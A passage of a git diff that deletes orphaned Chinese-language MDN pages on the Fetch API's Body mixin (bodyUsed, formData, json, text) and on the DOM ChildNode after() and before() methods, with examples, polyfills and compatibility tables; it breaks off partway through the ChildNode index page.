b/files/zh-cn/orphaned/web/api/body/bodyused/index.html deleted file mode 100644 index a875ab79d1..0000000000 --- a/files/zh-cn/orphaned/web/api/body/bodyused/index.html +++ /dev/null @@ -1,135 +0,0 @@ ---- -title: Body.bodyUsed -slug: orphaned/Web/API/Body/bodyUsed -translation_of: Web/API/Body/bodyUsed -original_slug: Web/API/Body/bodyUsed ---- -<p>{{APIRef("Fetch")}}{{ SeeCompatTable }}</p> - -<p><strong><code>bodyUsed</code></strong><code> 是</code>{{domxref("Body")}} mixin中的一个<code>只读属性。用以表示该body是否被使用过。</code></p> - -<h2 id="语法">语法</h2> - -<pre class="brush: js">var myBodyUsed = response.bodyUsed;</pre> - -<h3 id="可能的值">可能的值</h3> - -<p>{{domxref("Boolean")}}.</p> - -<h2 id="示例">示例</h2> - -<p>在以下<a href="https://github.com/mdn/fetch-examples/tree/gh-pages/fetch-request">fetch 请求示例</a>(运行 <a href="http://mdn.github.io/fetch-examples/fetch-request/">fetch request live</a>)。通过{{domxref("Request.Request")}}构造器创建了一个fetch请求,来获得一张JPG图片。当fetch成功后,通过{{domxref("Blob")}} 来使用了fetch返回的资源--{{domxref("URL.createObjectURL")}}创建该资源的URL,并作为 {{htmlelement("img")}}元素的src源来显示图片。</p> - -<p>注意:<code>在response.blob()被调用前后,</code>输出<code>response.bodyUsed的差异。</code></p> - -<h3 id="HTML_Content">HTML Content</h3> - -<pre class="brush: html"><img class="my-image" src="https://wikipedia.org/static/images/project-logos/frwiki-1.5x.png"> -</pre> - -<h3 id="JS_Content">JS Content</h3> - -<pre class="brush: js">var myImage = document.querySelector('.my-image'); -fetch('https://upload.wikimedia.org/wikipedia/commons/7/77/Delete_key1.jpg').then(function(response) { - console.log(response.bodyUsed); - var res = response.blob(); - console.log(response.bodyUsed); - return res; -}).then(function(response) { - var objectURL = URL.createObjectURL(response); - myImage.src = objectURL; -});</pre> - -<p>{{ EmbedLiveSample('Example', '100%', '250px') }}</p> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('Fetch','#dom-body-bodyused','bodyUsed')}}</td> - <td>{{Spec2('Fetch')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<p>{{ CompatibilityTable}}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Edge</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari (WebKit)</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{ CompatChrome(42) }} [1]<br> - </td> - <td>{{CompatVersionUnknown}}</td> - <td>{{ CompatGeckoDesktop(39)}} [2]</td> - <td>{{ CompatNo }}</td> - <td> - <p>29 [3]</p> - </td> - <td>{{ CompatNo }}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Edge</th> - <th>Firefox Mobile (Gecko)</th> - <th>Firefox OS (Gecko)</th> - <th>IE Phone</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - <th>Chrome for Android</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{ CompatNo }}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{ CompatNo }}</td> - <td>{{ CompatNo }}</td> - <td>{{ CompatNo }}</td> - <td>{{ CompatNo }}</td> - <td>{{ CompatNo }}</td> - <td>{{ CompatNo }}</td> - </tr> - </tbody> -</table> -</div> - -<p>[1] Behind a preference in version 41.</p> - -<p>[2] Behind a preference starting with version 34.</p> - -<p>[3] Behind a preference in version 28.</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li> - <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li> - <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/body/formdata/index.html b/files/zh-cn/orphaned/web/api/body/formdata/index.html deleted file mode 100644 index 2e415887cd..0000000000 --- a/files/zh-cn/orphaned/web/api/body/formdata/index.html +++ /dev/null @@ -1,123 +0,0 @@ ---- -title: Body.formData() -slug: orphaned/Web/API/Body/formData -translation_of: Web/API/Body/formData -original_slug: Web/API/Body/formData ---- -<div>{{APIRef("Fetch")}}</div> - -<p> {{domxref("Body")}} 对象中的<strong><code>formData()</code></strong> 方法将 {{domxref("Response")}} 对象中的所承载的数据流读取并封装成为一个对象,该方法将返回一个 <strong><code>Promise</code></strong> 对象,该对象将产生一个{{domxref("FormData")}} 对象。</p> - -<div class="note"> -<p><strong>注意</strong>: 该方法主要与 <a href="/en-US/docs/Web/API/ServiceWorker_API">service workers</a> 有关. 如果客户端提交的一个表单请求被Service Worker 所截取,您可以像下述的样例一样,调用 <code>formData()</code> 方法来获取一个key-value 字典, 对该字典可以进行修饰, 然后将修饰后的表填提交给远端服务器 (或在本地应用)。</p> -</div> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox">response.formData() -.then(function(formdata) { - // do something with your formdata -});</pre> - -<h3 id="参数">参数</h3> - -<p>无。</p> - -<h3 id="返回值">返回值</h3> - -<p>生成 {{domxref("FormData")}}对象的{{domxref("Promise")}} 对象.</p> - -<h2 id="样例">样例</h2> - -<p>待定.</p> - -<h2 id="详述">详述</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('Fetch','#dom-body-formdata','formData()')}}</td> - <td>{{Spec2('Fetch')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<p>{{ CompatibilityTable}}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari (WebKit)</th> - </tr> - <tr> - <td>Basic support</td> - <td> - <p>{{CompatChrome(60)}}</p> - </td> - <td>{{ CompatGeckoDesktop(39)}} [1]</td> - <td>{{ CompatNo }}</td> - <td> - <p>{{CompatOpera(47)}}</p> - </td> - <td>{{ CompatNo }}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android Webview</th> - <th>Chrome for Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>Firefox OS (Gecko)</th> - <th>IE Phone</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td> - <p>{{CompatChrome(60)}}</p> - </td> - <td> - <p>{{CompatChrome(60)}}</p> - </td> - <td>{{ CompatNo }}</td> - <td>{{ CompatNo }}</td> - <td>{{ CompatNo }}</td> - <td> - <p>{{CompatOperaMobile(47)}}</p> - </td> - <td>{{ CompatNo }}</td> - </tr> - </tbody> -</table> -</div> - -<p>[1] Behind a preference starting with version 34.</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li> - <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li> - <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/body/index.html b/files/zh-cn/orphaned/web/api/body/index.html deleted file mode 100644 index 0b12fa7259..0000000000 --- a/files/zh-cn/orphaned/web/api/body/index.html +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: Body -slug: orphaned/Web/API/Body -tags: - - API - - BODY - - Fetch - - bolb() - - json() - - request -translation_of: Web/API/Body -original_slug: Web/API/Body ---- -<p>{{ APIRef("Fetch") }}</p> - -<p><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a> 中的 <strong><code>Body</code></strong> {{glossary("mixin")}} 代表响应/请求的正文,允许你声明其内容类型是什么以及应该如何处理。</p> - -<p><code>Body</code>被{{domxref("Request")}} 和{{domxref("Response")}}实现,并为这些对象提供了一个相关联的主体(字节流),一个已使用的标志(最初未设置)和一个MIME类型(最初为空字节序列)。</p> - -<h2 id="属性">属性</h2> - -<dl> - <dt>{{domxref("Body.body")}} {{readonlyInline}}</dt> - <dd>一个简单的getter用于暴露一个{{domxref("ReadableStream")}}类型的主体内容。</dd> - <dt>{{domxref("Body.bodyUsed")}} {{readonlyInline}}</dt> - <dd>一个{{domxref("Boolean")}} 值指示是否body已经被标记读取。</dd> -</dl> - -<h2 id="方法">方法</h2> - -<dl> - <dt>{{domxref("Body.arrayBuffer()")}}</dt> - <dd>使{{domxref("Response")}}挂起一个流操作并且在完成时读取其值,它返回一个{{domxref("Promise")}}对象,其resolve参数类型是{{domxref("ArrayBuffer")}}。此操作会将bodyUsed状态改为已使用(true)。</dd> - <dt>{{domxref("Body.blob()")}}</dt> - <dd>使{{domxref("Response")}}挂起一个流操作并且在完成时读取其值,它返回一个{{domxref("Promise")}}对象,其resolve参数类型是{{domxref("Blob")}}。此操作会将bodyUsed状态改为已使用(true)。</dd> - <dt>{{domxref("Body.formData()")}}</dt> - <dd>使{{domxref("Response")}}挂起一个流操作并且在完成时读取其值,它返回一个{{domxref("Promise")}}对象,其resolve参数类型是{{domxref("FormData")}}表单。此操作会将bodyUsed状态改为已使用(true)。</dd> - <dt>{{domxref("Body.json()")}}</dt> - <dd>使{{domxref("Response")}}挂起一个流操作并且在完成时读取其值,它返回一个{{domxref("Promise")}}对象,其resolve参数类型是使用{{jsxref("JSON")}}解析body文本的结果。此操作会将bodyUsed状态改为已使用(true)。</dd> - <dt>{{domxref("Body.text()")}}</dt> - <dd>使{{domxref("Response")}}挂起一个流操作并且在完成时读取其值,它返回一个{{domxref("Promise")}}对象,其resolve参数类型是{{domxref("USVString")}}(文本)。此操作会将bodyUsed状态改为已使用(true)。</dd> -</dl> - -<h2 id="范例">范例</h2> - -<p>在<a href="https://github.com/mdn/fetch-examples/tree/gh-pages/basic-fetch">基本 fetch 使用实例</a> (<a href="http://mdn.github.io/fetch-examples/basic-fetch/">查看运行效果</a>) 中,我们使用简单的 fetch 请求获取一张图片并将其使用 {{htmlelement("img")}} 标签展示。你可能注意到当我们请求一张图片,需要使用 {{domxref("Body.blob")}} ({{domxref("Response")}} 实现 body 接口以发送正确的MIME类型给服务器进行识别。</p> - -<h3 id="HTML_内容">HTML 内容</h3> - -<pre class="brush: html"><img class="my-image" src="https://wikipedia.org/static/images/project-logos/frwiki-1.5x.png"> -</pre> - -<h3 id="JS_内容">JS 内容</h3> - -<pre class="brush: js">var myImage = document.querySelector('.my-image'); -fetch('flowers.jpg').then(function(response) { - return response.blob(); -}).then(function(response) { - var objectURL = URL.createObjectURL(response); - myImage.src = objectURL; -});</pre> - -<p>你也可以使用 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Response/Response" title="The Response() constructor creates a new Response object."><code>Response.Response()</code></a> 构造函数创建自定义的 <code>Response</code> 对象。</p> - -<pre><code>const response = new Response();</code> -</pre> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('Fetch','#body-mixin','Body')}}</td> - <td>{{Spec2('Fetch')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容情况">浏览器兼容情况</h2> - -<p>{{Compat("api.Body")}}</p> - -<h2 id="也可以看看">也可以看看</h2> - -<ul> - <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li> - <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li> - <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li> -</ul> - -<p> </p> diff --git a/files/zh-cn/orphaned/web/api/body/json/index.html b/files/zh-cn/orphaned/web/api/body/json/index.html deleted file mode 100644 index 54bd1c5c3e..0000000000 --- a/files/zh-cn/orphaned/web/api/body/json/index.html +++ /dev/null @@ -1,91 +0,0 @@ ---- -title: Body.json() -slug: orphaned/Web/API/Body/json -tags: - - API - - BODY - - Fetch - - JSON - - 参考 - - 方法 -translation_of: Web/API/Body/json -original_slug: Web/API/Body/json ---- -<div>{{APIRef("Fetch")}}</div> - -<div>{{domxref("Body")}} mixin 的 <strong><code>json()</code></strong> 方法接收一个 {{domxref("Response")}} 流,并将其读取完成。它返回一个 Promise,Promise 的解析 resolve 结果是将文本体解析为 {{jsxref("JSON")}}。</div> - -<h2 id="语法">语法</h2> - -<pre class="brush: js">response.json().then(data => { - // do something with your data -});</pre> - -<h3 id="参数">参数</h3> - -<p>没有。</p> - -<h3 id="返回值">返回值</h3> - -<p>返回一个被解析为<a href="https://developer.mozilla.org/zh-CN/docs/Web/API/JSON" title="此页面仍未被本地化, 期待您的翻译!"><code>JSON</code></a>格式的promise对象,这可以是任何可以由JSON表示的东西 - 一个object,一个array,一个string,一个number...</p> - -<h2 id="示例">示例</h2> - -<p>在我们的 <a href="https://github.com/mdn/fetch-examples/tree/master/fetch-json">fetch json 示例</a> 中(运行 <a href="http://mdn.github.io/fetch-examples/fetch-json/">fetch json live</a>), 我们使用 {{domxref("Request.Request")}} 构造函数创建一个新的请求, 然后使用它来获取一个 <code>.json</code> 文件。当获取成功时,我们使用 <code>json()</code> 读取并解析数据,然后像预期的那样从结果对象中读取值,并将其插入到列表项中以显示我们的产品数据。</p> - -<pre class="brush: js highlight[5]">const myList = document.querySelector('ul'); -const myRequest = new Request('products.json'); - -fetch(myRequest) - .then(response => response.json()) - .then(data => { - for (const product of data.products) { - let listItem = document.createElement('li'); - listItem.appendChild( - document.createElement('strong') - ).textContent = product.Name; - listItem.append( - ` can be found in ${ - product.Location - }. Cost: ` - ); - listItem.appendChild( - document.createElement('strong') - ).textContent = `£${product.Price}`; - myList.appendChild(listItem); - } - });</pre> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName("Fetch", "#dom-body-json", "Body.json()")}}</td> - <td>{{Spec2("Fetch")}}</td> - <td>Initial definition</td> - </tr> - </tbody> -</table> - - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - - - -<p>{{Compat("api.Body.json")}}</p> - -<h2 id="相关链接">相关链接</h2> - -<ul> - <li><a href="/zh-CN/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li> - <li><a href="/zh-CN/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li> - <li><a href="/zh-CN/docs/Web/HTTP">HTTP</a></li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/body/text/index.html b/files/zh-cn/orphaned/web/api/body/text/index.html deleted file mode 100644 index 320d294861..0000000000 --- a/files/zh-cn/orphaned/web/api/body/text/index.html +++ /dev/null @@ -1,86 +0,0 @@ ---- -title: Body.text() -slug: orphaned/Web/API/Body/text -tags: - - API - - Fetch - - 参考 - - 方法 -translation_of: Web/API/Body/text -original_slug: Web/API/Body/text ---- -<div>{{APIRef("Fetch")}}</div> - -<p>{{domxref("Body")}} mixin 的 <strong><code>text()</code></strong> 方法提供了一个可供读取的“返回流”({{domxref("Response")}} stream),并将它读取完。它返回一个包含 {{domxref("USVString")}} 对象(也就是文本)的 Promise 对象,返回结果的编码<em>永远是</em> UTF-8。</p> - -<h2 id="语法">语法</h2> - -<pre class="brush: js">response.text().then(function (text) { - // do something with the text response -});</pre> - -<h3 id="参数">参数</h3> - -<p>无。</p> - -<h3 id="返回值">返回值</h3> - -<p>A promise that resolves with a {{domxref("USVString")}}.</p> - -<h2 id="示例">示例</h2> - -<p>在我们 <a href="https://github.com/mdn/fetch-examples/tree/gh-pages/fetch-text">fetch text example</a> (运行 <a href="http://mdn.github.io/fetch-examples/fetch-text/">fetch text live</a>)的案例中, 我们有一个 {{htmlelement("article")}} 元素和三个链接(储存在 <code>myLinks </code> 数组中),首先,遍历 <code>myLinks </code> 数组,并且给数组中的所有元素添加 <code>onclick</code> 事件监听器,当按钮被点击的时候,链接的 <code>data-page</code> 标识作为会参数传入 <code>getData()</code> 中。</p> - -<p>当进入 <code>getData()</code> 函数, 我们使用 {{domxref("Request.Request","Request()")}} 构造函数创建了一个请求(Request)对象,然后,使用它获取指定的<code>.txt</code>的文件, 当fetch 函数执行成功, 我们使用 <code>text()</code> 函数来返回一个{{jsxref("USVString")}} (text) 对象,将它设置到 {{htmlelement("article")}} 对象的{{domxref("Element.innerHTML","innerHTML")}} (元素文本)中。</p> - -<pre class="brush: js">const myArticle = document.querySelector('article'); -const myLinks = document.querySelectorAll('ul a'); - -for(i = 0; i <= myLinks.length-1; i++) { - myLinks[i].onclick = function(e) { - e.preventDefault(); - var linkData = e.target.getAttribute('data-page'); - getData(linkData); - } -}; - -function getData(pageId) { - console.log(pageId); - const myRequest = new Request(pageId + '.txt'); - fetch(myRequest).then(function(response) { - return response.text().then(function(text) { - myArticle.innerHTML = text; - }); - }); -}</pre> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">规范</th> - <th scope="col">状态</th> - <th scope="col">备注</th> - </tr> - <tr> - <td>{{SpecName('Fetch','#dom-body-text','text()')}}</td> - <td>{{Spec2('Fetch')}}</td> - <td></td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - - - -<p>{{Compat("api.Body.text")}}</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="/zh-CN/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li> - <li><a href="/zh-CN/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li> - <li><a href="/zh-CN/docs/Web/HTTP">HTTP</a></li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/childnode/after/index.html b/files/zh-cn/orphaned/web/api/childnode/after/index.html deleted file mode 100644 index 76792e7638..0000000000 --- a/files/zh-cn/orphaned/web/api/childnode/after/index.html +++ /dev/null @@ -1,176 +0,0 @@ ---- -title: ChildNode.after() -slug: orphaned/Web/API/ChildNode/after -translation_of: Web/API/ChildNode/after -original_slug: Web/API/ChildNode/after ---- -<div>{{APIRef("DOM")}}</div> - -<p><strong><code>ChildNode.after()</code> </strong>方法会在其父节点的子节点列表中插入一些<font face="Consolas, Liberation Mono, Courier, monospace"> </font>{{domxref("Node")}} 或<font face="Consolas, Liberation Mono, Courier, monospace"> </font>{{domxref("DOMString")}} 对象。插入位置为该节点之后。{{domxref("DOMString")}} 对象会被以<font face="Consolas, Liberation Mono, Courier, monospace"> </font>{{domxref("Text")}} 的形式插入。</p> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox notranslate">[Throws, Unscopable] -void ChildNode.after((Node or DOMString)... nodes); -</pre> - -<h3 id="参数">参数</h3> - -<dl> - <dt><code>nodes</code></dt> - <dd>一组准备插入的 {{domxref("Node")}} 或 {{domxref("DOMString")}} 。</dd> -</dl> - -<h3 id="错误">错误</h3> - -<ul> - <li>{{domxref("HierarchyRequestError")}}: 在某些不正确的层级结构进行了插入操作。</li> -</ul> - -<h2 id="示例">示例</h2> - -<h3 id="插入元素">插入元素</h3> - -<pre class="brush: js notranslate">var parent = document.createElement("div"); -var child = document.createElement("p"); -parent.appendChild(child); -var span = document.createElement("span"); - -child.after(span); - -console.log(parent.outerHTML); -// "<div><p></p><span></span></div>" -</pre> - -<h3 id="插入文本">插入文本</h3> - -<pre class="brush: js notranslate">var parent = document.createElement("div"); -var child = document.createElement("p"); -parent.appendChild(child); - -child.after("Text"); - -console.log(parent.outerHTML); -// "<div><p></p>Text</div>"</pre> - -<h3 id="同时插入元素和文本">同时插入元素和文本</h3> - -<pre class="brush: js notranslate">var parent = document.createElement("div"); -var child = document.createElement("p"); -parent.appendChild(child); -var span = document.createElement("span"); - -child.after(span, "Text"); - -console.log(parent.outerHTML); -// "<div><p></p><span></span>Text</div>"</pre> - -<h3 id="ChildNode.after_会被_with_环境排除"><code>ChildNode.after()</code> 会被 with 环境排除</h3> - -<p><code>after()</code> 方法不在 <code>with 环境的范围内,可以查看</code> {{jsxref("Symbol.unscopables")}} 来了解更多信息。</p> - -<pre class="brush: js notranslate">with(node) { - after("foo"); -} -// ReferenceError: after is not defined </pre> - -<h2 id="Polyfill">Polyfill</h2> - -<p>You can polyfill the <code>after()</code> method in Internet Explorer 9 and higher with the following code:</p> - -<pre class="brush: js notranslate">// from: https://github.com/jserz/js_piece/blob/master/DOM/ChildNode/after()/after().md -(function (arr) { - arr.forEach(function (item) { - if (item.hasOwnProperty('after')) { - return; - } - Object.defineProperty(item, 'after', { - configurable: true, - enumerable: true, - writable: true, - value: function after() { - var argArr = Array.prototype.slice.call(arguments), - docFrag = document.createDocumentFragment(); - - argArr.forEach(function (argItem) { - var isNode = argItem instanceof Node; - docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem))); - }); - - this.parentNode.insertBefore(docFrag, this.nextSibling); - } - }); - }); -})([Element.prototype, CharacterData.prototype, DocumentType.prototype]);</pre> - -<h3 id="Another_polyfill">Another polyfill</h3> - -<pre class="brush: js notranslate">// from: https://github.com/FabioVergani/js-Polyfill_Element.prototype.after/blob/master/after.js - -(function(x){ - var o=x.prototype,p='after'; - if(!o[p]){ - o[p]=function(){ - var e, m=arguments, l=m.length, i=0, t=this, p=t.parentNode, n=Node, s=String, d=document; - if(p!==null){ - while(i<l){ - e=m[i]; - if(e instanceof n){ - t=t.nextSibling; - if(t!==null){ - p.insertBefore(e,t); - }else{ - p.appendChild(e); - }; - }else{ - p.appendChild(d.createTextNode(s(e))); - }; - ++i; - }; - }; - }; - }; -})(Element); - - - -/* -minified: - -(function(x){ - var o=x.prototype; - o.after||(o.after=function(){var e,m=arguments,l=m.length,i=0,t=this,p=t.parentNode,n=Node,s=String,d=document;if(p!==null){while(i<l){((e=m[i]) instanceof n)?(((t=t.nextSibling )!==null)?p.insertBefore(e,t):p.appendChild(e)):p.appendChild(d.createTextNode(s(e)));++i;}}}); -}(Element)); -*/</pre> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('DOM WHATWG', '#dom-childnode-after', 'ChildNode.after()')}}</td> - <td>{{Spec2('DOM WHATWG')}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<p>{{Compat("api.ChildNode.after")}}</p> - -<h2 id="相关链接">相关链接</h2> - -<ul> - <li>{{domxref("ChildNode")}} 和 {{domxref("ParentNode")}}</li> - <li>{{domxref("ChildNode.before()")}}</li> - <li>{{domxref("ParentNode.append()")}}</li> - <li>{{domxref("Node.appendChild()")}}</li> - <li>{{domxref("Element.insertAdjacentElement()")}}</li> - <li>{{domxref("NodeList")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/childnode/before/index.html b/files/zh-cn/orphaned/web/api/childnode/before/index.html deleted file mode 100644 index add3dab015..0000000000 --- a/files/zh-cn/orphaned/web/api/childnode/before/index.html +++ /dev/null @@ -1,188 +0,0 @@ ---- -title: ChildNode.before() -slug: orphaned/Web/API/ChildNode/before -tags: - - api、dom、节点、方法 -translation_of: Web/API/ChildNode/before -original_slug: Web/API/ChildNode/before ---- -<div>{{APIRef("DOM")}} {{SeeCompatTable}}</div> - -<p> <code><strong>ChildNode</strong></code><strong><code>.before</code></strong> 方法可以在<code>ChildNode这个节点的父节点中插入一些列的</code> {{domxref("Node")}} 或者 {{domxref("DOMString")}} 对象,位置就是在<code>ChildNode节点的前面,</code>{{domxref("DOMString")}} 对象其实和 {{domxref("Text")}}节点一样的方式来完成插入的。</p> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox">[Throws, Unscopable] -void ChildNode.before((Node or DOMString)... nodes); -</pre> - -<h3 id="Parameters参数">Parameters参数</h3> - -<dl> - <dt><code>nodes</code></dt> - <dd>一系列的 {{domxref("Node")}} 或者 {{domxref("DOMString")}} </dd> -</dl> - -<h3 id="Exceptions">Exceptions</h3> - -<ul> - <li>{{domxref("HierarchyRequestError")}}: 当节点插入了错误的层级就会出现报错,需要遵循html标签的层级关系,</li> -</ul> - -<h2 id="Examples事例">Examples事例</h2> - -<h3 id="Inserting_an_element插入元素节点">Inserting an element插入元素节点</h3> - -<pre class="brush: js">var parent = document.createElement("div"); -var child = document.createElement("p"); -parent.appendChild(child); -var span = document.createElement("span"); - -child.before(span); - -console.log(parent.outerHTML); -// "<div><span></span><p></p></div>" -</pre> - -<h3 id="Inserting_text插入文本节点">Inserting text插入文本节点</h3> - -<pre class="brush: js">var parent = document.createElement("div"); -var child = document.createElement("p"); -parent.appendChild(child); - -child.before("Text"); - -console.log(parent.outerHTML); -// "<div>Text<p></p></div>"</pre> - -<h3 id="Inserting_an_element_and_text同时插入文本和元素">Inserting an element and text同时插入文本和元素</h3> - -<pre class="brush: js">var parent = document.createElement("div"); -var child = document.createElement("p"); -parent.appendChild(child); -var span = document.createElement("span"); - -child.before(span, "Text"); - -console.log(parent.outerHTML); -// "<div><span></span>Text<p></p></div>"</pre> - -<h3 id="ChildNode.before()_is_unscopable不可使用区域"><code>ChildNode.before()</code> is unscopable不可使用区域</h3> - -<p>The <code>before()</code> 不能配合with声明使用,See {{jsxref("Symbol.unscopables")}} for more information.</p> - -<pre class="brush: js">with(node) { - before("foo"); -} -// ReferenceError: before is not defined </pre> - -<h2 id="Polyfill">Polyfill</h2> - -<p>兼容ie9或者更高版本的方法,You can polyfill the <code>before() method</code> in Internet Explorer 9 and higher with the following code:</p> - -<pre class="brush: js">// from: https://github.com/jserz/js_piece/blob/master/DOM/ChildNode/before()/before().md -(function (arr) { - arr.forEach(function (item) { - if (item.hasOwnProperty('before')) { - return; - } - Object.defineProperty(item, 'before', { - configurable: true, - enumerable: true, - writable: true, - value: function before() { - var argArr = Array.prototype.slice.call(arguments), - docFrag = document.createDocumentFragment(); - - argArr.forEach(function (argItem) { - var isNode = argItem instanceof Node; - docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem))); - }); - - this.parentNode.insertBefore(docFrag, this); - } - }); - }); -})([Element.prototype, CharacterData.prototype, DocumentType.prototype]);</pre> - -<h2 id="Specification">Specification</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('DOM WHATWG', '#dom-childnode-before', 'ChildNode.before()')}}</td> - <td>{{Spec2('DOM WHATWG')}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<p>{{CompatibilityTable}}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatChrome(54.0)}}</td> - <td>{{CompatGeckoDesktop(49)}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatOpera(39)}}</td> - <td>{{CompatUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Android Webview</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - <th>Chrome for Android</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatNo}}</td> - <td>{{CompatChrome(54.0)}}</td> - <td>{{CompatGeckoMobile(49)}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatOpera(39)}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatChrome(54.0)}}</td> - </tr> - </tbody> -</table> -</div> - -<h2 id="See_also">See also</h2> - -<ul> - <li>{{domxref("ChildNode")}} and {{domxref("ParentNode")}}</li> - <li>{{domxref("ChildNode.after()")}}</li> - <li>{{domxref("ParentNode.append()")}}</li> - <li>{{domxref("Node.appendChild()")}}</li> - <li>{{domxref("Node.insertBefore()")}}</li> - <li>{{domxref("NodeList")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/childnode/index.html b/files/zh-cn/orphaned/web/api/childnode/index.html deleted file mode 100644 index f223684bb2..0000000000 --- a/files/zh-cn/orphaned/web/api/childnode/index.html +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: ChildNode -slug: orphaned/Web/API/ChildNode -tags: - - API - - ChildNode - - DOM - - Node - - 接口 -translation_of: Web/API/ChildNode -original_slug: Web/API/ChildNode ---- -<p>{{APIRef("DOM")}}</p> - -<p><code><strong>ChildNode</strong></code> 混合了所有(拥有父对象) {{domxref("Node")}} 对象包含的公共方法和属性。其由 {{domxref("Element")}}、{{domxref("DocumentType")}} 和 {{domxref("CharacterData")}} 对象实现。</p> - -<h2 id="属性">属性</h2> - -<p>没有继承任何属性,也没有任何专有属性。</p> - -<h2 id="方法">方法</h2> - -<p>没有继承的方法。</p> - -<dl> - <dt>{{domxref("ChildNode.remove()")}} {{experimental_inline}}</dt> - <dd>将 <code>ChildNode</code> 从其父节点的子节点列表中移除。</dd> - <dt>{{domxref("ChildNode.before()")}} {{experimental_inline}}</dt> - <dd>在其父节点的子节点列表中插入一些 